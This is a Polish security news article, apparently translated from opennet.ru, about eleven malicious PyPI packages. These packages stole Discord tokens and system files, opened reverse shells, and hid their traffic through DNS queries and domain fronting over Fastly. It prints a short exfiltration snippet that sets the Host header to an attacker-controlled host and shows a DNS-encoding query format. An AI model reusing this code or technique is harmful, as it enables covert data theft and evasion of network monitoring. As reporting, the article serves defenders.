W katalogu PyPI (Python Package Index) zidentyfikowano 11 pakietów zawierających złośliwy kod. Zanim wykryto problemy, łącznie pakiety zostały pobrane około 38 tysięcy razy. Zidentyfikowane złośliwe pakiety wyróżniają się stosowaniem skomplikowanych metod ukrywania kanałów komunikacji z serwerami cyberprzestępców.
- importantpackage (6305 pobrań), important-package (12897) — nawiązywały połączenie z zewnętrznym serwerem pod pretekstem połączenia z pypi.python.org, aby udostępnić shell-access do systemu (reverse shell) oraz używały programu trevorc2 do ukrywania kanału komunikacji.
- pptest (10001), ipboards (946) — wykorzystywały DNS jako kanał komunikacji do przesyłania informacji o systemie (w pierwszym pakiecie nazwa hosta, katalog roboczy, wewnętrzny i zewnętrzny IP, w drugim — nazwa użytkownika i hosta).
- owlmoon (3285), DiscordSafety (557), yiffparty (1859) — wykrywały w systemie token usługi Discord i wysyłały go do zewnętrznego hosta.
- trrfab (287) — wysyłał do zewnętrznego hosta identyfikator, nazwę hosta oraz zawartość /etc/passwd, /etc/hosts, /home.
- 10Cent10 (490) — nawiązywał odwrócone połączenie shell z zewnętrznym hostem.
- yandex-yt (4183) — wyświetlał komunikat o kompromitacji systemu i przekierowywał na stronę z dodatkowymi informacjami o dalszych działaniach, publikowanymi przez nda.ya.ru (api.ya.cc).
Szczególnej uwagi wymaga metoda nawiązywania połączeń z zewnętrznymi hostami stosowana w pakietach importantpackage i important-package, które do ukrywania swojej aktywności wykorzystywały sieć dystrybucji treści Fastly stosowaną w katalogu PyPI. W praktyce zapytania były wysyłane do serwera pypi.python.org (w tym, wskazując nazwę python.org w SNI w ramach zapytania HTTPS), ale w nagłówku HTTP 'Host' ustawiano nazwę serwera kontrolowanego przez atakujących (sec.forward.io.global.prod.fastly.net). Sieć dystrybucji treści kierowała takie zapytanie do serwera atakujących, wykorzystując podczas transferu dane TLS połączenia z pypi.python.org.
Funkcjonowanie infrastruktury PyPI jest zapewniane z udziałem sieci dystrybucji treści Fastly, w której do buforowania typowych zapytań stosuje się przezroczysty proxy Varnish, a także przetwarzanie certyfikatów TLS na poziomie CDN, a nie na serwerach końcowych, w celu organizacji przesyłania zapytań HTTPS przez proxy. Niezależnie od docelowego hosta, zapytania są kierowane do proxy, które określa odpowiedni host na podstawie nagłówka HTTP 'Host', a domeny Hosty są przypisywane do standardowych adresów IP load balancerów CDN Fastly dla wszystkich klientów.
Serwer atakujących również rejestruje się w CDN Fastly, który oferuje wszystkim chętnym darmowe plany taryfowe i pozwala nawet na anonimową rejestrację. Zauważalne jest, że do wysyłania żądań do ofiary przy tworzeniu »reverse shell« wykorzystuje się również tę samą schemę, jednak inicjowaną ze strony hosta przestępców. Interakcja z serwerem atakujących wygląda jak legalna sesja z katalogiem PyPI, szyfrowana za pomocą certyfikatu TLS PyPI. Tego rodzaju technika, znana jako »domain fronting«, była wcześniej intensywnie wykorzystywana do ukrywania nazwy hosta przy omijaniu blokad, korzystając z możliwości oferowanych w niektórych sieciach CDN do nawiązywania połączeń HTTPS wskazując w SNI fikcyjnego hosta i faktycznie przekazując nazwę żądanego hosta w nagłówku HTTP Host wewnątrz sesji TLS.

Aby ukryć złośliwą aktywność, dodatkowo zastosowano pakiet TrevorC2, który umożliwia interakcję z serwerem, przypominającą zwykłe przeglądanie sieci, na przykład złośliwe żądania były wysyłane pod postacią ładowania obrazu »https://pypi.python.org/images/guid=« z kodowaniem informacji w parametrze guid. url = »https://pypi.python.org« + »/images« + »?« + »guid=« + b64_payload r = request.Request(url, headers = {‘Host’: »psec.forward.io.global.prod.fastly.net«})
W pakietach pptest i ipboards zastosowano inne podejście do ukrywania aktywności sieciowej, polegające na kodowaniu użytecznych informacji w zapytaniach do serwera DNS. Złośliwe oprogramowanie przekazuje informacje, wykonując zapytania DNS w formacie »nu4timjagq4fimbuhe.example.com«, w których za pomocą formatu base64 zakodowane są dane przekazywane do serwera zarządzającego. Przestępca odbiera dane wiadomości, kontrolując serwer DNS dla domeny example.com.
Źródło: opennet.ru
